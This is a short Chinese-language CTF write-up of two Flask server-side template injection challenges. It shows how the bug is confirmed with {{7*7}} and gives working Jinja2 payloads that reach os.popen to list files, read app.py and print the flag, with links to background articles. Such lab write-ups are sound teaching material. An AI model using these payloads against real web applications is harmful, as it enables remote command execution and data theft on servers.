第一题
服务端模块注入
打开环境,看到提示文字需要传flag的值,尝试用get方法
?flag=1 得到1,
?flag={{7*7}}得到执行结果49,判断存在服务端模块注入漏洞
payload
{{'a'.__class__.__base__.__subclasses__()[177].__init__.__globals__['sys'].modules['os'].popen("ls").read()}}
针对flask,简单的payload,url_for函数中直接导入了os,直接利用
{{url_for.globals.os.popen(“ls”).read()}}
查看后发现有个app.py,使用cat命令查看源码,整理发现只需要执行echo $FLAG 就能得到flag 执行该命令得到flag
题2
同样是服务端模块注入
用题一的payload同样可以得到目录下有个flag
直接cat得到flag内容
payload的原理可以参考这两篇文章https://www.jianshu.com/p/56614e46093e
或者看这个视频
https://www.bilibili.com/video/BV17V411i7hA?from=search&seid=18376090121763545638